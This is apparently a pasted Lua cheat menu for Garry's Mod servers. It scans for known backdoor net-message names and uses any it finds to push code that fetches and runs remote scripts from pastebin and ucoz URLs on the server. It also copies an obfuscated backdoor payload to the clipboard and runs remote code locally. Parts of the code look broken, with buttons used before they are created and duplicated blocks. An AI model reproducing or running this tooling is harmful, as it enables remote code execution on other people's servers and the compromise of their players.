· 7 years ago · Dec 22, 2018, 04:02 AM
1lyr3x = lyr3x or {}
2lyr3x.Modules = lyr3x.Modules or {}
3
4
5concommand.Add('trace', function(pl)
6 local prop = pl:GetEyeTrace().Entity
7
8 if IsValid(prop) then
9 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
10 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \'' .. prop:GetModel() .. '\',')
11 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector(' .. string.gsub(tostring(prop:GetPos()), ' ', ', ') .. '),')
12 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle(' .. string.gsub(tostring(prop:GetAngles()), ' ', ', ') .. '),')
13 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
14 end
15end)
16
17surface.CreateFont("exitmenu", {
18 font = "Arial",
19 size = 20,
20 weight = 1000,
21 shadow = false,
22 outline = false
23})
24
25local function exitmenu(panel, X, y)
26 local CButton = vgui.Create("DButton", panel)
27 CButton:SetTextColor(Color(150, 150, 150))
28 CButton:SetText("X")
29 CButton:SetFont("exitmenu")
30 CButton:SetPos(X, y)
31 CButton:SetSize(50, 24)
32
33 CButton.DoClick = function()
34 panel:SizeTo(0, 0, .2, 0, .2)
35
36 timer.Simple(0.3, function()
37 panel:SetVisible(false)
38 end)
39 end
40
41 CButton.Paint = function(panel, w, h)
42 surface.SetDrawColor(Color(0, 0, 0, 255))
43 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
44 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
45 end
46
47 CButton.OnCursorEntered = function(self)
48 surface.PlaySound("garrysmod/ui_hover.wav")
49
50 CButton.Paint = function(panel, w, h)
51 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
52 end
53 end
54
55 -------------------------------------------------------------
56 CButton.OnCursorExited = function(self)
57 CButton.Paint = function(panel, w, h)
58 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
59 end
60 end
61 ------------------------------------------------------------------------
62end
63
64local blur = Material("pp/blurscreen")
65
66local function DrawBlur(panel, amount)
67 local x, y = panel:LocalToScreen(0, 0)
68 local scrW, scrH = ScrW(), ScrH()
69 surface.SetDrawColor(255, 255, 255)
70 surface.SetMaterial(blur)
71
72 for i = 1, 3 do
73 blur:SetFloat("$blur", (i / 3) * (amount or 6))
74 blur:Recompute()
75 render.UpdateScreenEffectTexture()
76 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
77 end
78end
79
80netKey = "memeDoor"
81BackdoorsFound = 0
82
83function ValidNetString(str)
84 local status, error = pcall(net.Start, str)
85
86 return status
87end
88
89BackDoor_net = {
90 {
91 NetWork = "Sandbox_ArmDupe"
92 },
93 {
94 NetWork = "Sbox_darkrp"
95 },
96 {
97 NetWork = "Sbox_itemstore"
98 },
99 {
100 NetWork = "Ulib_Message"
101 },
102 {
103 NetWork = "ULogs_Info"
104 },
105 {
106 NetWork = "ITEM"
107 },
108 {
109 NetWork = "R8"
110 },
111 {
112 NetWork = "fix"
113 },
114 {
115 NetWork = "Fix_Keypads"
116 },
117 {
118 NetWork = "Remove_Exploiters"
119 },
120 {
121 NetWork = "noclipcloakaesp_chat_text"
122 },
123 {
124 NetWork = "_Defqon"
125 },
126 {
127 NetWork = "_CAC_ReadMemory",
128"nostrip"
129 },
130 {
131 NetWork = "nocheat"
132 },
133 {
134 NetWork = "LickMeOut"
135 },
136 {
137 NetWork = "ULX_QUERY2"
138 },
139 {
140 NetWork = "ULXQUERY2"
141 },
142 {
143 NetWork = "MoonMan"
144 },
145 {
146 NetWork = "Im_SOCool"
147 },
148 {
149 NetWork = "Sandbox_GayParty"
150 },
151 {
152 NetWork = "DarkRP_UTF8"
153 },
154 {
155 NetWork = "oldNetReadData"
156 },
157 {
158 NetWork = "memeDoor"
159 },
160 {
161 NetWork = "BackDoor"
162 },
163 {
164 NetWork = "OdiumBackDoor"
165 },
166 {
167 NetWork = "SessionBackdoor"
168 },
169 {
170 NetWork = "DarkRP_AdminWeapons"
171 },
172 {
173 NetWork = "cucked"
174 },
175 {
176 NetWork = "NoNerks"
177 },
178 {
179 NetWork = "kek"
180 },
181 {
182 NetWork = "ZimbaBackDoor"
183 },
184 {
185 NetWork = "something"
186 },
187 {
188 NetWork = "random"
189 },
190 {
191 NetWork = "strip0"
192 },
193 {
194 NetWork = "fellosnake"
195 },
196 {
197 NetWork = "enablevac"
198 },
199 {
200 NetWork = "idk"
201 },
202 {
203 NetWork = "c"
204 },
205 {
206 NetWork = "killserver"
207 },
208 {
209 NetWork = "fuckserver"
210 },
211 {
212 NetWork = "cvaraccess"
213 },
214 {
215 NetWork = "rcon"
216 },
217 {
218 NetWork = "rconadmin"
219 },
220 {
221 NetWork = "web"
222 },
223 {
224 NetWork = "jesuslebg"
225 },
226 {
227 NetWork = "zilnix"
228 },
229 {
230 NetWork = "Þà ?D)◘"
231 },
232 {
233 NetWork = "disablebackdoor"
234 },
235 {
236 NetWork = "kill"
237 },
238 {
239 NetWork = "DefqonBackdoor"
240 }
241}
242
243function checkbackdoors()
244 for k, v in pairs(BackDoor_net) do
245 if (ValidNetString(v.NetWork)) then
246 BackdoorsFound = 1 + BackdoorsFound
247 chat.AddText(Color(0, 0, 0, 125), "[R2D2]", Color(255, 255, 255), " Ðайден БÑкдур! - " .. v.NetWork)
248 end
249 end
250end
251
252CreateClientConVar("menu_r", "148", true, false)
253CreateClientConVar("menu_g", "0", true, false)
254CreateClientConVar("menu_b", "211", true, false)
255
256--------------------------------------------------------------------------------------------
257surface.CreateFont("Main", {
258 font = "Arial",
259 size = 20,
260 weight = 1000,
261 shadow = false,
262 outline = false
263})
264
265local insertdown2, insertdown, menuopen
266
267function MainMenu()
268 local x1 = vgui.Create("DFrame")
269 x1:SetPos(700, 300)
270 x1:SizeTo(300, 400, .3, 0, .3)
271 exitmenu(x1, 249, 1)
272 x1:SetTitle(" ")
273 x1:ShowCloseButton(false)
274 x1:SetVisible(true)
275 x1:MakePopup()
276
277 function x1:Paint()
278 DrawBlur(self, 5)
279 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
280 surface.SetDrawColor(Color(0, 0, 0, 255))
281 surface.DrawOutlinedRect(0, 0, x1:GetSize())
282 ---------------------------------------------------------
283 surface.DrawOutlinedRect(0, 110, x1:GetSize())
284 --surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
285 ---------------------------------------------------------
286 surface.DrawOutlinedRect(0, 25, x1:GetSize())
287 -------------------------------------------------
288 surface.DrawOutlinedRect(0, 0, 249, 26)
289 surface.DrawOutlinedRect(0, 110, 101, 90)
290 surface.DrawOutlinedRect(0, 110, 500, 90)
291 --surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
292 --
293 surface.DrawOutlinedRect(100, 25, x1:GetSize())
294 --
295 --surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
296 --
297 --surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
298 ------------------------------------------------
299 end
300
301 x1.Think = function()
302 if (input.IsKeyDown(KEY_INSERT) and not insertdown2) then
303 x1:SizeTo(0, 0, .2, 0, .2)
304
305 timer.Simple(0.1, function()
306 x1:Remove()
307 end)
308
309 menuopen = false
310 end
311 end
312
313 local function Think()
314 if (input.IsKeyDown(KEY_INSERT) and not menuopen and not insertdown) then
315 menuopen = true
316 insertdown = true
317 MainMenu()
318 elseif (not input.IsKeyDown(KEY_INSERT) and not menuopen) then
319 insertdown = false
320 end
321
322 if (input.IsKeyDown(KEY_INSERT) and insertdown and menuopen) then
323 insertdown2 = true
324 else
325 insertdown2 = false
326 end
327 end
328
329 hook.Add("Think", "", Think)
330 local news_p1 = vgui.Create("DPanel", x1)
331 news_p1:SetPos(100, 200)
332 news_p1:SetSize(200, 200)
333
334 -- Paint will paint the current page (Changing color, shape, etc)
335 news_p1.Paint = function(self, w, h)
336 draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
337 end
338
339 local richtext = vgui.Create("RichText", news_p1)
340 richtext:Dock(FILL)
341 local TheReturnedHTML = "" -- Blankness
342
343 http.Fetch("", function(body, len, headers, code)
344 TheReturnedHTML = body
345 richtext:SetText(TheReturnedHTML)
346 end, function(error)
347 richtext:SetText("lyr3x.beta v0.1")
348 end)
349
350 local q1 = vgui.Create("DHTML", x1)
351 q1:OpenURL("")
352 q1:SetSize(100, 190)
353 q1:SetPos(1, 110)
354
355 surface.CreateFont("B1", {
356 font = "Arial",
357 size = 20,
358 weight = 1000,
359 shadow = false,
360 outline = false
361 })
362
363 ex = true
364 ct = true
365 nh = true
366
367 func_table = {
368 --
369 {
370 ---------------------------------------
371 Name = "Exploit",
372 Func = function()
373 -- if ex then
374 -- R8.Modules.Exploit()
375 -- end
376
377 ex = false
378 x1:SizeTo(0, 0, .2, 0, .2)
379 x1:SetVisible(false)
380
381 timer.Simple(0.5, function()
382 LocalPlayer():ConCommand('lyr3x_exploits')
383 end)
384
385 surface.PlaySound("garrysmod/ui_click.wav")
386 end
387 },
388 ---------------------------------------
389 --
390 {
391 ---------------------------------------
392 Name = "Odium",
393 Func = function()
394 if ct then
395 http.Fetch('https://pastebin.com/raw/3nG1ipNV', RunString)
396 end
397
398 ct = false
399 x1:SizeTo(0, 0, .2, 0, .2)
400 x1:SetVisible(false)
401
402 timer.Simple(0.5, function()
403 LocalPlayer():ConCommand('ace_menu')
404 end)
405
406 surface.PlaySound("garrysmod/ui_click.wav")
407 end
408 },
409 ---------------------------------------
410 --
411 --
412 {
413 ---------------------------------------
414 Name = 'BackDoor',
415 Func = function()
416 -- if nh then
417 -- R8.Modules.BackDoor()
418 -- end
419
420 nh = false
421 x1:SizeTo(0, 0, .2, 0, .2)
422 x1:SetVisible(false)
423
424 timer.Simple(0.5, function()
425 LocalPlayer():ConCommand('bd_menu')
426 end)
427
428 surface.PlaySound("garrysmod/ui_click.wav")
429 end
430 }
431 }
432
433 ---------------------------------------
434 --
435 for k, v in pairs(func_table) do
436 local Buttons = vgui.Create("DButton", x1)
437 Buttons:Dock(4)
438 Buttons:DockMargin(0, 0, 200, 5)
439 Buttons:SetText(v.Name)
440 Buttons:SetFont('B1')
441 Buttons:SetTextColor(Color(255, 255, 255, 255))
442 Buttons.DoClick = v.Func
443
444 Buttons.OnCursorEntered = function(self)
445 surface.PlaySound("garrysmod/ui_hover.wav")
446 end
447
448 function Buttons:Paint()
449 --draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
450 --
451 --draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
452 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
453 surface.SetDrawColor(Color(0, 0, 0, 255))
454 surface.DrawOutlinedRect(0, 0, Buttons:GetSize())
455 surface.DrawOutlinedRect(0, 25, Buttons:GetSize())
456 end
457 end
458
459 -----------------------------------------------------------------------------
460 local b5 = vgui.Create("DButton", x1)
461 b5:Dock(TOP)
462 b5:DockMargin(100, -81, 0, 5)
463 b5:SetText('| BackDoor | Check |')
464 b5:SetFont('B1')
465 b5:SetTextColor(Color(255, 255, 255, 255))
466
467 function b5:DoClick()
468 surface.PlaySound("garrysmod/ui_click.wav")
469 checkbackdoors()
470 end
471
472 b5.OnCursorEntered = function(self)
473 surface.PlaySound("garrysmod/ui_hover.wav")
474 end
475
476 function b5:Paint()
477 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
478 surface.SetDrawColor(Color(0, 0, 0, 255))
479 surface.DrawOutlinedRect(0, 0, b5:GetSize())
480 surface.DrawOutlinedRect(0, 25, b5:GetSize())
481 end
482
483 local b6 = vgui.Create("DButton", x1)
484 b6:Dock(TOP)
485 b6:DockMargin(100, 0, 0, 5)
486 b6:SetText('Theme Color')
487 b6:SetFont('B1')
488 b6:SetTextColor(Color(255, 255, 255, 255))
489
490 b6.OnCursorEntered = function(self)
491 surface.PlaySound("garrysmod/ui_hover.wav")
492 end
493
494 function b6:DoClick()
495 surface.PlaySound("garrysmod/ui_click.wav")
496 LocalPlayer():ConCommand('lyr3x_color')
497 end
498
499 function b6:Paint()
500 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
501 surface.SetDrawColor(Color(0, 0, 0, 255))
502 surface.DrawOutlinedRect(0, 0, b6:GetSize())
503 surface.DrawOutlinedRect(0, 25, b6:GetSize())
504 end
505
506 local b7 = vgui.Create("DButton", x1)
507 b7:Dock(TOP)
508 b7:DockMargin(100, 0, 0, 5)
509 b7:SetText("Copy BackDoor")
510 b7:SetFont('B1')
511 b7:SetTextColor(Color(255, 255, 255, 255))
512
513 function b7:DoClick()
514 surface.PlaySound("garrysmod/ui_click.wav")
515 local backdoorr8 = [[local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )]]
516 SetClipboardText(backdoorr8)
517 LocalPlayer():ChatPrint(':)))).')
518 end
519
520 b7.OnCursorEntered = function(self)
521 surface.PlaySound("garrysmod/ui_hover.wav")
522 end
523
524 function b7:Paint()
525 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
526 surface.SetDrawColor(Color(0, 0, 0, 255))
527 surface.DrawOutlinedRect(0, 0, b7:GetSize())
528 surface.DrawOutlinedRect(0, 25, b7:GetSize())
529 end
530
531 -----------------------------------------------------------------------------
532 -----------------------------------------------------------------------------
533
534 b8:Dock(TOP)
535 b8:DockMargin(100, 6, 0, 5)
536
537 b8:SetTextColor(Color(255, 255, 255, 255))
538
539 function b8:DoClick()
540 surface.PlaySound("garrysmod/ui_click.wav")
541
542 for k, v in pairs(BackDoor_net) do
543 if (ValidNetString(v.NetWork)) then
544 net.Start(v.NetWork)
545 net.WriteString([[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R2D2] Love Star Wars.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]])
546 net.WriteBit(1)
547 net.SendToServer()
548 end
549 end
550 end
551
552 b8.OnCursorEntered = function(self)
553 surface.PlaySound("garrysmod/ui_hover.wav")
554 end
555
556 function b8:Paint()
557 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
558 surface.SetDrawColor(Color(0, 0, 0, 255))
559 surface.DrawOutlinedRect(0, 0, b8:GetSize())
560 surface.DrawOutlinedRect(0, 25, b8:GetSize())
561 end
562
563
564 b9:Dock(TOP)
565 b9:DockMargin(100, 0, 0, 5)
566
567 b9:SetFont('B1')
568 b9:SetTextColor(Color(255, 255, 255, 255))
569
570 function b9:DoClick()
571 surface.PlaySound("garrysmod/ui_click.wav")
572
573 for k, v in pairs(BackDoor_net) do
574 if (ValidNetString(v.NetWork)) then
575 net.Start(v.NetWork)
576 net.WriteString("http.Fetch(\"http://pastebin.com/raw/a2LJCmtv\",function(b,l,h,c)RunString(b)end,nil)")
577 net.WriteBit(1)
578 net.SendToServer()
579 end
580 end
581 end
582
583 b9.OnCursorEntered = function(self)
584 surface.PlaySound("garrysmod/ui_hover.wav")
585 end
586
587 function b9:Paint()
588 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
589 surface.SetDrawColor(Color(0, 0, 0, 255))
590 surface.DrawOutlinedRect(0, 0, b9:GetSize())
591 surface.DrawOutlinedRect(0, 25, b9:GetSize())
592 end
593
594 local b10 = vgui.Create("DButton", x1)
595 b10:Dock(TOP)
596 b10:DockMargin(100, 0, 0, 3)
597 b10:SetText('R2D2 - BackDoor')
598 b10:SetFont('B1')
599 b10:SetTextColor(Color(255, 255, 255, 255))
600
601 function b10:DoClick()
602 surface.PlaySound("garrysmod/ui_click.wav")
603
604 for k, v in pairs(BackDoor_net) do
605 if (ValidNetString(v.NetWork)) then
606 net.Start(v.NetWork)
607 net.WriteString("http.Fetch(\"http://sdsds.ucoz.net/child_exploits.lua\",function(b,l,h,c)RunString(b)end,nil)")
608 net.WriteBit(1)
609 net.SendToServer()
610 end
611 end
612 end
613
614 b10.OnCursorEntered = function(self)
615 surface.PlaySound("garrysmod/ui_hover.wav")
616 end
617
618 function b10:Paint()
619 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
620 surface.SetDrawColor(Color(0, 0, 0, 255))
621 surface.DrawOutlinedRect(0, 0, b10:GetSize())
622 surface.DrawOutlinedRect(0, 25, b10:GetSize())
623 end
624
625 ------------------------------------------------------------------------------------------------------------------------
626 function ColorMenu()
627 local ColorMenu = vgui.Create("DFrame")
628 ColorMenu:SetPos(399, 300)
629 ColorMenu:SizeTo(300, 265, .3, 0, .3)
630 ColorMenu:MakePopup()
631 ColorMenu:SetTitle("")
632 ColorMenu:SetVisible(true)
633 ColorMenu:ShowCloseButton(false)
634 exitmenu(ColorMenu, 249, 1)
635
636 ColorMenu.Paint = function(self, w, h)
637 DrawBlur(self, 3)
638 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
639 surface.SetDrawColor(Color(0, 0, 0, 255))
640 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
641 surface.DrawOutlinedRect(0, 25, ColorMenu:GetSize())
642 -------------------------------------------------
643 surface.DrawOutlinedRect(0, 0, 249, 26)
644 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
645 end
646
647 local color2 = vgui.Create("DColorMixer", ColorMenu)
648 color2:Dock(TOP)
649 color2:DockMargin(0, 0, 0, 0)
650 color2:SetPalette(false)
651 color2:SetWangs(false)
652 color2:SetAlphaBar(false)
653 color2:SetColor(Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 255))
654
655 function color2:ValueChanged(color)
656 LocalPlayer():ConCommand("menu_r " .. color.r)
657 LocalPlayer():ConCommand("menu_g " .. color.g)
658 LocalPlayer():ConCommand("menu_b " .. color.b)
659 end
660 end
661
662 concommand.Add('lyr3x_color', ColorMenu)
663
664 -----------------------------------------------------------------------------
665 local table_credits = {
666 {
667 text = "Creator",
668 durl = "https://vk.com/gelshteyn2"
669 },
670 {
671 text = "Discord",
672 durl = "https://discord.gg/hT3N5fZ"
673 },
674 {
675 text = "Source",
676 durl = "https://pastebin.com/raw/5hXF5gXL"
677 }
678 }
679
680 for k, v in pairs(table_credits) do
681 local Credits = vgui.Create("DButton", x1)
682 Credits:Dock(5)
683 Credits:DockMargin(1, 5, 199, 5)
684 Credits:SetText(v.text)
685 Credits:SetFont('B1')
686 Credits:SetTextColor(Color(255, 255, 255, 255))
687
688 Credits.OnCursorEntered = function(self)
689 surface.PlaySound("garrysmod/ui_hover.wav")
690 end
691
692 function Credits:DoClick()
693 surface.PlaySound("garrysmod/ui_click.wav")
694 gui.OpenURL(v.durl)
695 end
696
697 function Credits:Paint()
698 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
699 surface.SetDrawColor(Color(0, 0, 0, 255))
700 surface.DrawOutlinedRect(0, 0, Credits:GetSize())
701 surface.DrawOutlinedRect(0, 25, Credits:GetSize())
702 end
703 end
704end
705
706concommand.Add('lyr3x_menu', MainMenu)
707
708
709//////////// [BASIC SHIT] ////////////
710local blur = Material("pp/blurscreen")
711
712local function DrawBlur(panel, amount)
713 local x, y = panel:LocalToScreen(0, 0)
714 local scrW, scrH = ScrW(), ScrH()
715 surface.SetDrawColor(255, 255, 255)
716 surface.SetMaterial(blur)
717
718 for i = 1, 3 do
719 blur:SetFloat("$blur", (i / 3) * (amount or 6))
720 blur:Recompute()
721 render.UpdateScreenEffectTexture()
722 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
723 end
724end
725
726CreateClientConVar("menu_r", "0", true, false)
727CreateClientConVar("menu_g", "0", true, false)
728CreateClientConVar("menu_b", "0", true, false)
729
730-- Solly copypaste
731if (istable(MOTDgd)) then
732 MOTDgd = {}
733
734 function MOTDgd.Show()
735 end
736
737 function MOTDgd.GetIfSkip()
738 return true
739 end
740end
741
742local function exitmenu(panel, X, y)
743 local CButton = vgui.Create("DButton", panel)
744 CButton:SetTextColor(Color(150, 150, 150))
745 CButton:SetText("X")
746 CButton:SetFont("exitmenu")
747 CButton:SetPos(X, y)
748 CButton:SetSize(50, 24)
749
750 CButton.DoClick = function()
751 panel:SizeTo(0, 0, .2, 0, .2)
752
753 timer.Simple(0.3, function()
754 panel:SetVisible(false)
755 end)
756 end
757
758 CButton.Paint = function(panel, w, h)
759 surface.SetDrawColor(Color(0, 0, 0, 255))
760 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
761 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
762 end
763
764 CButton.OnCursorEntered = function(self)
765 surface.PlaySound("garrysmod/ui_hover.wav")
766
767 CButton.Paint = function(panel, w, h)
768 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
769 end
770 end
771
772 -------------------------------------------------------------
773 CButton.OnCursorExited = function(self)
774 CButton.Paint = function(panel, w, h)
775 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
776 end
777 end
778 ------------------------------------------------------------------------
779end
780
781function random_string(length)
782 math.randomseed(os.time())
783
784 if length > 0 then
785 return random_string(length - 1) .. charset[math.random(1, #charset)]
786 else
787 return ""
788 end
789end
790
791local s = {}
792s.duel = {}
793s.duel[1] = table.Random(player.GetAll())
794s.duel[2] = table.Random(player.GetAll())
795s.duel[2] = 3
796s.duel[3] = -9999999
797
798--////////// [CHAT TEXT] ////////////
799function ECPrint(str)
800 chat.AddText(Color(150, 150, 150), "[R2D2] ", Color(255, 255, 255), str)
801end
802
803--////////// [NOTIFY] ////////////
804local function ECNotify(text)
805 local notify = vgui.Create("DPanel")
806 notify:SetSize(200, 50)
807 notify:SetPos(ScrW() - 200, -50)
808
809 notify.Paint = function(self, w, h)
810 draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
811 local bars = 50
812
813 for i = 0, bars do
814 local rainbow = HSVToColor(CurTime() % 6 * 60 + i, 1, 1)
815 draw.RoundedBox(0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
816 end
817
818 --draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
819 draw.SimpleText(text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
820 end
821
822 notify:MoveTo(ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
823 timer.Simple(3, function()
824 notify:MoveTo(ScrW() - notify:GetWide(), -50, .2, 0, -1)
825 end)
826 end)
827end
828
829--////////// [CLEAR CHAT] ////////////
830function clearchat()
831 for i = 0, 100 do
832 chat.AddText(" ")
833 end
834end
835
836--////////// [REMOVE ALL ERRORS] ////////////
837concommand.Add("removerrors", function()
838 hook.Add("Think", "wow", function()
839 for k, v in pairs(ents.GetAll()) do
840 if (v:GetModel():find("models/error.mdl")) then
841 v:SetModel("models/player/group01/male_02.mdl")
842 print(v:Nick() .. " model reset due to models/error.mdl")
843 end
844 end
845 end)
846end)
847
848--////////// [VAPE] ////////////
849function Vape()
850 timer.Simple(0, function()
851 RunConsoleCommand("+attack")
852 end)
853
854 timer.Simple(5.134, function()
855 RunConsoleCommand("-attack")
856 end)
857end
858
859concommand.Add("vape", Vape)
860concommand.Add("clearchat", clearchat)
861
862--////////// [CAC CHECKER] ////////////
863if (_G.QAC or _G.CAC) then
864 chat.AddText(Color(0, 255, 255), "[", "lyr3x", "] ", Color(255, 255, 255), "Ðа Ñервере Ñтоит CAC!")
865end
866
867function Initialize()
868 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
869 surface.PlaySound("buttons/combine_button_locked.wav")
870 -- surface.PlaySound("buttons/combine_button_locked.wav")
871 ECNotify("lyr3x Loaded")
872 net.Receive("DL_Answering_global", function(_len) end) -- Stop LocalPlayer from getting kicked whilst kicking all
873 net.Receive("metro_notification", function() return end) -- Disable Metro Notification
874
875 --////////// Font Creation ////////////
876 --
877 surface.CreateFont("IMPACT", {
878 font = "IMPACT",
879 size = 18
880 })
881
882 --
883 surface.CreateFont("Calibri-sm", {
884 font = "Calibri",
885 size = 15
886 })
887
888 --
889 surface.CreateFont("Calibri-l", {
890 font = "Calibri",
891 size = 21
892 })
893
894 --
895 surface.CreateFont("tahoma", {
896 font = "Tahoma",
897 size = 15
898 })
899 --
900end
901
902Initialize() -- Initializes basic shit for when menu is loaded.
903
904function ValidNetString(str)
905 local status, error = pcall(net.Start, str)
906
907 return status
908end
909
910------------------------------------------------------------------------
911--////////// [MENU] ////////////
912function draw.OutlinedBox(x, y, w, h, thickness, clr)
913 surface.SetDrawColor(clr)
914
915 for i = 0, thickness - 1 do
916 surface.DrawOutlinedRect(x + i, y + i, w - i * 2, h - i * 2)
917 end
918end
919
920-------------------------------------------------------------------------------------------
921surface.CreateFont("Main", {
922 font = "Arial",
923 size = 20,
924 weight = 1000,
925 shadow = false,
926 outline = false
927})
928
929function R8_Menu()
930 local menu = vgui.Create("DFrame")
931 menu:Center()
932 menu:SizeTo(300, 350, .3, 0, .3)
933 exitmenu(menu, 249, 1)
934 menu:SetTitle(" ")
935 menu:ShowCloseButton(false)
936 menu:MakePopup()
937
938 function menu:Paint()
939 DrawBlur(self, 5)
940 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
941 draw.SimpleText(totalSploits .. "/302 Exploits - lyr3x", "Roboto", 5, 3, Color(255, 255, 255, 200), 0, 0)
942
943 if totalSploits == 0 then
944 draw.SimpleText("Рксплойтов РЅРµ найдено!", "Roboto", 65, 150, Color(255, 255, 255, 200), 0, 0)
945 end
946
947 surface.SetDrawColor(Color(0, 0, 0, 255))
948 surface.DrawOutlinedRect(0, 0, menu:GetSize())
949 surface.DrawOutlinedRect(0, 0, 249, 26) -- палочка РґР»СРРєРЅРѕРїРєРё
950 surface.DrawOutlinedRect(0, 25, menu:GetSize())
951 end
952
953 --////////// [TABS] ////////////
954 local tabs = vgui.Create("DPropertySheet", menu)
955 tabs:Dock(FILL)
956 tabs:DockPadding(-5, 5, 0, 0)
957
958 tabs.Paint = function(self, w, h)
959 for k, v in pairs(tabs.Items) do
960 if (not v.Tab) then continue end
961
962 v.Tab.Paint = function(self, w, h)
963 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
964 draw.RoundedBox(0, 0, 22, w - 2, 1, Color(45, 45, 45, 255))
965
966 if (tabs:GetActiveTab() == v.Tab) then
967 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
968 --draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
969 draw.RoundedBox(0, 0, 22, w, 1, Color(255, 255, 255, 255))
970 end
971 end
972 end
973 end
974
975 --////////// [PANELS] ////////////
976 local exploitsPanel = vgui.Create("DPanel", menu)
977 exploitsPanel:Dock(1)
978
979 exploitsPanel.Paint = function(self, w, h)
980 draw.RoundedBox(0, 0, 0, w, h, Color(25, 25, 25, 100))
981 draw.OutlinedBox(0, 0, w, h, 1, Color(0, 0, 0))
982 end
983
984 local exploitsScrollPanel = vgui.Create("DScrollPanel", exploitsPanel)
985 exploitsScrollPanel:Dock(FILL)
986
987 //////////// [NEW EXPLOIT] ////////////
988 --------------------
989 totalSploits = 0
990
991 function addExploit(id, text, desc, func)
992 totalSploits = 1 + totalSploits
993 local id = vgui.Create("DButton", exploitsScrollPanel)
994 id:SetText(text)
995 id:SetTextColor(Color(200, 200, 200))
996 id:SetFont("Roboto")
997 id:Dock(TOP)
998 id:DockMargin(10, 10, 10, -5)
999 id:DockPadding(2, 25, 2, 50)
1000 id.DoClick = func
1001
